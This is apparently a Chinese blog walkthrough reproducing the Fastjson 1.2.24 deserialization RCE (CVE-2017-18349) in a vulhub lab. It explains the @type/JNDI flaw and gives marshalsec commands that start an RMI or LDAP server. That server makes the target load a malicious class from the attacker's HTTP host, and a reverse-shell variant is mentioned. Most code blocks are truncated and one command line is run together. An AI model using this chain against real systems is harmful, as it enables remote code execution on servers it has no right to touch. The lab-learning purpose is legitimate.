vulhub-fastjson漏洞复现
先了解一下着几个等会复现需要用到的东西
CVE-2017-18349即Fastjson1.2.24 反序列化漏洞RCE
ubuntu: 靶机 192.168.142.137
kali: 攻击机 192.168.142.129
漏洞原理
fastjson在解析json对象时,会使用autoType实例化某一个具体的类,并调用set/get方法访问属性。漏洞出现在Fastjson autoType处理json对象时,没有对@type字段进行完整的安全性验证,我们可以传入危险的类并调用危险类连接远程RMI服务器,通过恶意类执行恶意代码,进而实现远程代码执行漏洞。
影响版本为 fastjson < 1.2.25
漏洞复现
首先进入fastjson 1.2.24的docker环境,使用java -version
查看一下java的版本为1.8.0_102。因为java环境为102,没有com.sun.jndi.rmi.object.trustURLCodebase
的限制,可以使用com.sun.rowset.JdbcRowSetImpl
利用链结合JNDI注入执行远程命令
安装javac环境,这里直接使用20版本替换102
1 | cd /opt |
攻击机的java版本必须是java8
打开docker靶机
编辑恶意类代码,起名为evilclass.java
1 | import java.lang.Runtime; |
这里的 String[] commands
可以进行修改自己想要执行的命令。这里是在/tmp
目录下创建一个test
文件
使用javac编译evilclass.java文件生成evilclass.class
这里的化想要搭建一个RMI服务,首先下载marshalsec
1 | git clone https://github.com/mbechler/marshalsec.git |
安装maven并编译marshalsec生成jar
1 | apt-get install maven |
我们进入到marshalsec的target目录里面进行查看已经生成了marshalsec-0.0.3.3-SNAPSHOT-all.jar,然后使用marshalsec搭建一个RMI服务器,这里的ip就是你攻击机的ip,端口可以随意
这里也可以使用启动LDAP服务,效果是一样的
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer"http://192.168.1.8/#evilclass"9999java-cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer"http://192.168.1.8/#evilclass"9999 |
这里的IP是攻击机ip,端口随意
这里我们使用RMI服务
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.142.129:8000/#evilclass" 9999 |
先开启一个python服务来进行文件的上传,如何RMI使用的是python的8000端口
开启RMI服务
抓包进行发包
如何就会发现成功了
这里就和刚开始的时候evilclass.java里写的一样了,就是往/tmp目录里写一个test文件
如果要反弹shell的化,只需要修改commands里的内容就行了
1 | import java.lang.Runtime; |
成功将shell反弹
fastjson的漏洞复现的话都是这个方向,或者修改com.sun.rowset.JdbcRowSetImpl
这些东西,其他的就不进行复现了
下面就是参考链接了 其他不懂的版本可以进行查看